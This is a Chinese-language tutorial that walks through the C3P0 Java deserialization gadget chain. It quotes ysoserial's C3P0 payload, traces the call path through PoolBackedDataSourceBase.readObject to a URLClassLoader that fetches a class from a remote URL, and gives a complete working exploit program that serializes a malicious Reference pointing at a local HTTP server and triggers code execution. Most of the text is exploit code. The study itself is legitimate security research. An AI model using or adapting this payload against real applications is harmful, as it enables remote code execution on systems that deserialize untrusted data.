Java反序列化——C3P0
配置Maven依赖
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
What is C3P0?
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。
测试
ysoserial
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}
}
可以看到ysoserial
中的C3P0链
通过:
来分割URL
和需要远程加载的类名
。
下面来看一下这个PoolSouce类
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
这里除了一个构造方法用来赋值以外,还有一个getReference()
方法,传入了我们的恶意的url
和className
Poc调试
序列化
序列化的时候,如果connectionPoolDataSource
是不可序列化的,则会抛出异常
Exception: Direct serialization provoked a NotSerializableException! Trying indirect
然后尝试使用ReferenceIndirector
对其进行引用的封装,返回一个可以被序列化的 ReferenceSerialized
实例对象。
这里调用的getReference()
也就是PoolSource
的getReference()
方法
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
这里就得到了构造的恶意Reference
,并且传给了这个可序列化的ReferenceSerialized
实例对象。
最后序列化的对象是ReferenceSerialized
,其中包含了恶意的reference
,当反序列化时,则会被重新实例化一个恶意reference对象
,触发恶意代码。
反序列化
Gadget:
PoolBackedDataSourceBase.readObject()
ReferenceIndirector.getObject()
ReferenceableUtils.referenceToObject()
Class.forName0()
URLClassLoader.loadClass()
这里调用了ReferenceSerialized#getObject()
跟进去,这里有个lookup方法,但是没法利用,因为参数contextName
是不可控的,唯一可控的就是之前传入的恶意ref
继续往下跟进到referenceToObject()
,本质就是将this.reference(恶意链接)转换成Object
这里获取类名存入var4
,获取远程地址存入var11
。var6
从上下文获取ClassLoader
,如果没用获取到,那么就从ReferenceableUtils
中获取。如果没找到远程地址,那么var7
就等于var6
,如果有远程地址,那么就把远程地址赋给 var8
,并且传入URLClassLoader
。
然后通过Class.forName
,使用URLClassLoader
来得到恶意类(var4),并且实例化,造成恶意代码执行。
攻击构造
构造一个不可序列化的并且实现了 Referenceable 的 ConnectionPoolDataSource 对象,其 getReference()
方法返回带有恶意类位置的 Reference 对象即可。恶意代码如下:
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0_Le1a {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("Le1a", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase p = new PoolBackedDataSourceBase(false);
ConnectionPoolDataSource pool = new PoolSource("calc", "http://localhost:8888/");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(p, pool);
serialize(p);
unserialize("Le1aaaa.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Le1aaaa.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
反序列化的时候,PoolBackedDataSourceBase
中的 ConnectionPoolDataSource
因不可序列化,于是返回一个ReferenceSerialized
,其中构造的恶意ref
包含了恶意地址和类名,最后通过URLClassLoader
加载远程地址中的恶意类。
疑问
当正确构造EXP后,成功弹出计算器。但是当我们修改远程端口号,甚至远程地址的IP,并且删除掉之前的bin
文件后,仍能弹出计算器!!!只有当修改恶意类名时,才不能触发。
难道是因为这个原因么?🥺😲😴